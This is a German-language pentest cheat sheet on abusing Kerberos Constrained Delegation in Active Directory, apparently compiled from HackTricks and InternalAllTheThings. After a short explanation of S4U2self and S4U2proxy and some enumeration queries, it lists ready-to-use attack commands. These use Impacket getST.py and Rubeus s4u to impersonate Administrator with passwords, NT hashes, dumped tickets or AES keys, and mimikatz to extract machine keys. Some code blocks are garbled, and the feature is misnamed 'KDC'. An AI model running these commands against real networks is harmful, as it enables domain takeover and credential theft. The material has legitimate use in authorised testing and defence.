Skip to content

Die Kerberos Constrained Delegation (KDC) ist ein Sicherheitsfeature, welche es einem Service erlaubt sich als anderer Service oder Nutzer auszugeben um für diesen Nutzer auf Resourcen zuzugreifen.

  • Service for User to self (S4U2self): hat ein Service einen userAccountControl wert der TRUSTED_TO_AUTH_FOR_DELEGATION(T2A4D) enthält, kann dieser ein TGS für sich selbst im Namen eines anderen Users bekommen.
  • Service for User to Proxy (S4U2proxy): Ein Service Account kann ein TGS für jeden User zu jedem Service spezifiziert in msDS-AllowedToDelegateToerhalten. Dafür benötigt, der Service ein TGS von dem Nutzer zu sich selbst. Dafür kann S4U2self genutzt werden.

    [!info] Info Ist der Benutzer Account markiert als Account is sensitive and cannot be delegated kann sich nicht als dieser ausgegeben werden.

Das bedeutet, dass, ein kompromittieren des hashes des services, die möglichkeit gibt sich als ein anderer Nutzer auszugeben. Dadurch ist es möglich mit den Rechten des Nutzers auf bestimmte Ressourcen zuzugreifen. Dadurch wird nicht nur Zugriff zu dem Service gewährt für den der Benutzer sich ausgeben kann, sondern zu jedem beliebigen Service. Dies ist möglich, da der angeforderte SPN (Service name requested) nicht geprüft wird, sondern nur die Berechtigungen.

Identifikation

Bloodhound

MATCH p = (a)-[:AllowedToDelegate]->(c:Computer) RETURN p
Native
Get-DomainComputer -TrustedToAuth | select -exp dnshostname
Get-DomainComputer previous_result | select -exp msds-AllowedToDelegateTo
Get-DomainUser -TrustedToAuth | select userprincipalname, name, msds-allowedtodelegateto
bloodyAD
bloodyAD -u user -p 'Password' -d <DOMAIN> --host <IP> get search --filter (&(objectCategory=Computer)(userAccountControl:1.2.840.113556.1.4.803:=16777216))' --attr sAMAccountName,msds-allowedtodelegateto

Exploit

Impacket

  • getST.py -spn HOST/SQL01.DOMAIN 'DOMAIN/user:password' -impersonate Administrator -dc-ip 10.10.10.10

  • Rubeus: S4U2 attack (S4U2self + S4U2proxy)

  • ``` # with a password Rubeus.exe s4u /nowrap /msdsspn:"time/target.local" /altservice:cifs /impersonateuser:"administrator" /domain:"domain" /user:"user" /password:"password"

    with a NT hash

    Rubeus.exe s4u /user:user_for_delegation /rc4:user_pwd_hash /impersonateuser:user_to_impersonate /domain:domain.com /dc:dc01.domain.com /msdsspn:time/srv01.domain.com /altservice:cifs /ptt Rubeus.exe s4u /user:MACHINE$ /rc4:MACHINE_PWD_HASH /impersonateuser:Administrator /msdsspn:"cifs/dc.domain.com" /altservice:cifs,http,host,rpcss,wsman,ldap /ptt dir \dc.domain.com\c$ ```

  • Rubeus: use an existing ticket to perform a S4U2 attack to impersonate the "Administrator"

  • ``` # Dump ticket Rubeus.exe tgtdeleg /nowrap Rubeus.exe triage Rubeus.exe dump /luid:0x12d1f7

    Create a ticket

    Rubeus.exe s4u /impersonateuser:Administrator /msdsspn:cifs/srv.domain.local /ticket:doIFRjCCBUKgAwIBB...BTA== /ptt ```

  • Rubeus : using aes256 keys

# Get aes256 keys of the machine account
privilege::debug
token::elevate
sekurlsa::ekeys

# Create a ticket
Rubeus.exe s4u /impersonateuser:Administrator /msdsspn:cifs/srv.domain.local /user:win10x64$ /aes256:4b55f...fd82 /ptt

Quelle

https://swisskyrepo.github.io/InternalAllTheThings/active-directory/kerberos-delegation-constrained/#identify-a-constrained-delegation https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/constrained-delegation